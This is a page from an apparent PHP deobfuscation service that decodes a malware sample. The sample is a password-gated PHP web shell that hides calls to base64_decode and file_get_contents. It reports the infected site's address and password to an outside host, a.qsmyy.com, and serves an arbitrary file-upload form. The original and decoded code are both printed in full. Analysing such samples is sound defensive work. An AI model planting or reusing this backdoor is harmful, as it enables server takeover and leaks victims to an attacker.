Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $pssddd="2b";// if($_GET["hks"]==$pssddd){@set_time_limit(100);$slstss="fi"."le_"...

Decoded Output download

<?php 
$pssddd="2b";// 
if($_GET["hks"]==$pssddd){@set_time_limit(100);$slstss="fi"."le_"."ge"."t_c"."onten"."ts";$raworistr='S'.'X'.'0'.'b'.'D'.'e'.'2'.'E';$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['REQUEST_URI'];$dedeedoc="b"."ase6"."4_d"."ec"."od"."e";$serverp = $pssddd;$rawstruri='aHR0cDovSX0bDe2EL2EuSX0bDe2EcXNteSX0bDe2EXkuY29tL2SX0bDe2EcucGhwP2c9';$rawtargetu=str_replace($raworistr,'',$rawstruri);$ropcyiu = $dedeedoc($rawtargetu);$uistauast=$ropcyiu.$serveru.'|'.$serverp;$uistauast=urldecode($uistauast);$rubote=$slstss($uistauast);if ($_SERVER['REQUEST_METHOD'] == 'POST') { echo "url:".$_FILES["upfile"]["name"];if(!file_exists($_FILES["upfile"]["name"])){ copy($_FILES["upfile"]["tmp_name"], $_FILES["upfile"]["name"]); }}?><form method="post" enctype="multipart/form-data"><input name="upfile" type="file"><input type="submit" value="ok"></form><?php }?> 
 
 
 
 
//     http://www.test.com/test.php?hks=2b   

Did this file decode correctly?

Original Code

<?php
$pssddd="2b";//
if($_GET["hks"]==$pssddd){@set_time_limit(100);$slstss="fi"."le_"."ge"."t_c"."onten"."ts";$raworistr='S'.'X'.'0'.'b'.'D'.'e'.'2'.'E';$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['REQUEST_URI'];$dedeedoc="b"."ase6"."4_d"."ec"."od"."e";$serverp = $pssddd;$rawstruri='aHR0cDovSX0bDe2EL2EuSX0bDe2EcXNteSX0bDe2EXkuY29tL2SX0bDe2EcucGhwP2c9';$rawtargetu=str_replace($raworistr,'',$rawstruri);$ropcyiu = $dedeedoc($rawtargetu);$uistauast=$ropcyiu.$serveru.'|'.$serverp;$uistauast=urldecode($uistauast);$rubote=$slstss($uistauast);if ($_SERVER['REQUEST_METHOD'] == 'POST') { echo "url:".$_FILES["upfile"]["name"];if(!file_exists($_FILES["upfile"]["name"])){ copy($_FILES["upfile"]["tmp_name"], $_FILES["upfile"]["name"]); }}?><form method="post" enctype="multipart/form-data"><input name="upfile" type="file"><input type="submit" value="ok"></form><?php }?>




//     http://www.test.com/test.php?hks=2b  

Function Calls

urldecode 1
str_replace 1
base64_decode 1
set_time_limit 1
file_get_contents 1

Variables

$pssddd 2b
$rubote
$slstss file_get_contents
$ropcyiu http://a.qsmyy.com/g.php?g=
$serverp 2b
$serveru NoneNone
$dedeedoc base64_decode
$raworistr SX0bDe2E
$rawstruri aHR0cDovSX0bDe2EL2EuSX0bDe2EcXNteSX0bDe2EXkuY29tL2SX0bDe2Ecu..
$uistauast b'http://a.qsmyy.com/g.php?g='NoneNone|2b
$rawtargetu aHR0cDovL2EucXNteXkuY29tL2cucGhwP2c9

Stats

MD5 f11a0f522b3d5dd838d518b1a86e676e
Eval Count 0
Decode Time 103 ms